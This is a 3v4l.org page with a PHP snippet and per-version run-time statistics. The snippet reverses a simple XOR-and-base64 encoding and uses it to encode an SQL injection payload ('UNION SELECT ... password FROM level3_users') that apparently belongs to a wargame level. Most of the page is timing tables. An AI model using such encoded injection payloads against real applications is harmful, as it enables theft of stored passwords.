3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,password,3,4,5,6,7 FROM level3_users WHERE user=0x41646d696e --"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01118.68
8.3.50.0100.00522.19
8.3.40.0110.00419.18
8.3.30.0000.01419.21
8.3.20.0070.00020.29
8.3.10.0040.00423.54
8.3.00.0090.00020.64
8.2.180.0180.00416.49
8.2.170.0120.00322.96
8.2.160.0040.01121.95
8.2.150.0030.00624.18
8.2.140.0090.00024.66
8.2.130.0000.00726.16
8.2.120.0070.00022.23
8.2.110.0100.00022.20
8.2.100.0120.00317.84
8.2.90.0080.00019.22
8.2.80.0040.00418.00
8.2.70.0040.00417.71
8.2.60.0030.00618.03
8.2.50.0090.00018.07
8.2.40.0030.00519.38
8.2.30.0080.00018.24
8.2.20.0080.00017.96
8.2.10.0050.00317.81
8.2.00.0090.00017.99
8.1.280.0120.00325.92
8.1.270.0090.00023.73
8.1.260.0080.00026.35
8.1.250.0050.00328.09
8.1.240.0000.00923.91
8.1.230.0060.00619.13
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0100.00017.61
8.1.190.0040.00417.66
8.1.180.0050.00318.10
8.1.170.0030.00518.73
8.1.160.0000.00822.19
8.1.150.0070.00018.83
8.1.140.0040.00417.58
8.1.130.0070.00017.96
8.1.120.0000.00817.69
8.1.110.0070.00017.63
8.1.100.0040.00417.55
8.1.90.0040.00417.68
8.1.80.0000.00817.55
8.1.70.0000.00817.59
8.1.60.0000.00817.81
8.1.50.0050.00317.59
8.1.40.0060.00317.69
8.1.30.0080.00017.84
8.1.20.0080.00017.75
8.1.10.0050.00517.78
8.1.00.0060.00317.72
8.0.300.0000.00818.77
8.0.290.0080.00017.29
8.0.280.0000.00718.42
8.0.270.0000.00717.24
8.0.260.0040.00416.92
8.0.250.0070.00017.18
8.0.240.0000.00717.00
8.0.230.0070.00017.05
8.0.220.0000.00717.13
8.0.210.0030.00317.06
8.0.200.0070.00017.19
8.0.190.0080.00017.17
8.0.180.0000.00817.05
8.0.170.0040.00417.09
8.0.160.0060.00317.07
8.0.150.0080.00016.89
8.0.140.0000.00717.06
8.0.130.0000.00613.57
8.0.120.0000.00817.06
8.0.110.0060.00317.07
8.0.100.0050.00317.01
8.0.90.0040.00416.88
8.0.80.0060.00917.01
8.0.70.0000.00716.94
8.0.60.0050.00217.13
8.0.50.0080.00016.96
8.0.30.0120.00817.08
8.0.20.0100.01317.53
8.0.10.0000.00717.19
8.0.00.0060.01217.04
7.4.330.0050.00015.00
7.4.320.0060.00016.77
7.4.300.0070.00016.75
7.4.290.0030.00316.71
7.4.280.0050.00316.89
7.4.270.0040.00416.67
7.4.260.0000.00716.75
7.4.250.0040.00416.71
7.4.240.0010.00616.73
7.4.230.0050.00216.89
7.4.220.0070.01416.88
7.4.210.0070.01116.85
7.4.200.0040.00416.60
7.4.190.0000.00816.73
7.4.160.0090.00616.58
7.4.150.0100.00717.40
7.4.140.0110.01117.86
7.4.130.0080.00816.72
7.4.120.0110.00716.79
7.4.110.0060.01716.86
7.4.100.0150.01116.54
7.4.90.0200.01316.89
7.4.80.0070.01016.82
7.4.70.0040.01416.54
7.4.60.0160.00016.63
7.4.50.0080.00016.68
7.4.40.0060.00922.77
7.4.30.0070.01116.89
7.4.00.0040.01315.09
7.3.330.0030.00313.62
7.3.320.0000.00513.45
7.3.310.0000.00716.59
7.3.300.0050.00216.46
7.3.290.0070.01116.62
7.3.280.0060.01216.50
7.3.270.0100.00717.40
7.3.260.0070.01116.95
7.3.250.0110.00716.60
7.3.240.0100.00716.56
7.3.230.0090.00616.53
7.3.210.0080.00816.93
7.3.200.0090.00919.39
7.3.190.0070.01016.92
7.3.180.0100.01016.88
7.3.170.0100.00716.75
7.3.160.0060.00916.69
7.3.120.0090.00615.12
7.3.110.0140.00414.64
7.3.100.0060.01315.32
7.3.90.0030.01415.29
7.3.80.0090.00615.01
7.3.70.0030.01415.06
7.3.60.0140.00314.86
7.3.50.0080.00415.09
7.3.40.0040.01215.02
7.3.30.0080.00414.81
7.3.20.0000.01216.55
7.3.10.0110.00716.93
7.3.00.0060.00916.80
7.2.330.0100.00716.83
7.2.320.0100.00816.75
7.2.310.0120.00416.86
7.2.300.0030.01816.86
7.2.290.0090.00916.96
7.2.250.0070.01415.34
7.2.240.0100.01015.35
7.2.230.0060.01315.21
7.2.220.0040.01515.10
7.2.210.0060.00915.15
7.2.200.0070.00715.30
7.2.190.0070.00715.36
7.2.180.0100.00715.29
7.2.170.0060.00914.90
7.2.00.0040.00819.66
7.1.330.0070.00715.92
7.1.320.0070.00415.81
7.1.310.0050.00515.68
7.1.300.0090.00616.05
7.1.290.0100.00316.11
7.1.280.0070.00715.90
7.1.270.0030.00915.97
7.1.260.0090.00615.93
7.1.100.0040.00817.98
7.1.70.0050.00517.58
7.1.60.0070.01819.22
7.1.50.0060.01917.22
7.1.00.0130.06722.36
7.0.200.0040.00716.77
7.0.140.0100.06722.15
7.0.60.0130.07721.85
7.0.50.0070.08017.93
7.0.40.0130.06020.29
7.0.30.0200.09020.32
7.0.20.0270.07720.35
7.0.10.0400.03720.27
7.0.00.0000.05020.04
5.6.280.0000.07721.07
5.6.210.0070.08020.72
5.6.200.0030.08718.22
5.6.190.0030.04320.63
5.6.180.0100.03320.55
5.6.170.0300.06720.62
5.6.160.0100.07020.48
5.6.150.0070.05718.12
5.6.140.0100.06718.23
5.6.130.0070.08018.16
5.6.120.0030.04321.15
5.6.110.0100.08321.09
5.6.100.0130.07720.99
5.6.90.0100.08021.11
5.6.80.0070.07720.38
5.5.350.3870.04020.50
5.5.340.0170.07018.05
5.5.330.0130.07020.47
5.5.320.0070.04020.27
5.5.310.0200.08320.34
5.5.300.0100.03018.08
5.5.290.0100.07717.95
5.5.280.0100.08020.78
5.5.270.0130.03320.77
5.5.260.0130.06720.77
5.5.250.0030.04320.72
5.5.240.0130.03720.08
5.4.450.0730.04319.57
5.4.440.0630.04319.55
5.4.430.0430.04019.40
5.4.420.0370.04719.54
5.4.410.0930.03719.28
5.4.400.1000.05318.77
5.4.390.1030.05318.59
5.4.380.0130.05718.77
5.4.370.0130.05318.61
5.4.360.0130.05318.52
5.4.350.0100.05718.79
5.4.340.0030.06318.83
5.4.320.0070.04112.50
5.4.310.0050.03912.50
5.4.300.0080.04912.51
5.4.290.0090.03412.50
5.4.280.0060.03812.40
5.4.270.0030.03812.40
5.4.260.0060.03812.40
5.4.250.0040.04512.40
5.4.240.0070.03512.40
5.4.230.0040.03912.40
5.4.220.0100.04212.39
5.4.210.0080.05112.39
5.4.200.0050.03812.39
5.4.190.0070.03912.39
5.4.180.0050.03612.39
5.4.170.0410.08112.38
5.4.160.0190.04612.38
5.4.150.0190.04312.38
5.4.140.0170.04612.06
5.4.130.0210.04112.05
5.4.120.0170.04512.01
5.4.110.0150.04312.00
5.4.100.0340.09012.00
5.4.90.0180.04212.00
5.4.80.0220.04112.00
5.4.70.0210.03912.00
5.4.60.0140.04612.00
5.4.50.0180.04212.00
5.4.40.0370.08311.98
5.4.30.0190.04611.98
5.4.20.0150.04311.98
5.4.10.0230.06511.97
5.4.00.0140.04411.46
5.3.290.0050.04212.80
5.3.280.0090.04312.71
5.3.270.0180.04512.72
5.3.260.0210.04812.72
5.3.250.0190.07512.72
5.3.240.0190.04212.72
5.3.230.0220.04512.71
5.3.220.0370.09012.68
5.3.210.0170.05012.68
5.3.200.0200.04312.68
5.3.190.0190.04212.68
5.3.180.0150.04712.67
5.3.170.0190.04612.67
5.3.160.0330.08912.68
5.3.150.0220.04112.67
5.3.140.0180.04312.66
5.3.130.0210.03912.66
5.3.120.0220.04112.66
5.3.110.0180.04212.66
5.3.100.0160.04412.12
5.3.90.0190.04212.11
5.3.80.0320.09412.09
5.3.70.0150.04512.09
5.3.60.0150.04412.07
5.3.50.0190.04112.02
5.3.40.0140.04512.02
5.3.30.0110.04711.98
5.3.20.0130.04411.77
5.3.10.0200.06611.73
5.3.00.0130.04711.71
5.2.170.0110.0369.23
5.2.160.0080.0389.22
5.2.150.0150.0639.22
5.2.140.0170.0309.23
5.2.130.0140.0339.19
5.2.120.0330.0769.18
5.2.110.0170.0309.18
5.2.100.0110.0379.20
5.2.90.0120.0359.19
5.2.80.0100.0379.18
5.2.70.0130.0349.18
5.2.60.0130.0339.13
5.2.50.0110.0379.10
5.2.40.0110.0369.07
5.2.30.0100.0359.06
5.2.20.0130.0349.06
5.2.10.0120.0368.95
5.2.00.0120.0348.80
5.1.60.0110.0298.08
5.1.50.0090.0328.08
5.1.40.0120.0288.07
5.1.30.0160.0278.41
5.1.20.0140.0298.45
5.1.10.0130.0308.16
5.1.00.0110.0308.16
5.0.50.0090.0256.66
5.0.40.0100.0226.51
5.0.30.0080.0376.33
5.0.20.0070.0256.30
5.0.10.0090.0236.27
5.0.00.0110.0336.26
4.4.90.0080.0184.78
4.4.80.0100.0154.76
4.4.70.0050.0234.76
4.4.60.0270.0604.75
4.4.50.0110.0164.77
4.4.40.0060.0304.70
4.4.30.0080.0194.76
4.4.20.0070.0184.84
4.4.10.0070.0194.85
4.4.00.0080.0284.76
4.3.110.0080.0174.67
4.3.100.0110.0154.67
4.3.90.0090.0184.63
4.3.80.0070.0284.58
4.3.70.0040.0214.63
4.3.60.0060.0194.63
4.3.50.0070.0214.63
4.3.40.0050.0294.54
4.3.30.0050.0193.33
4.3.20.0050.0203.32
4.3.10.0070.0183.28
4.3.00.0000.01315.46

preferences:
52.82 ms | 400 KiB | 5 Q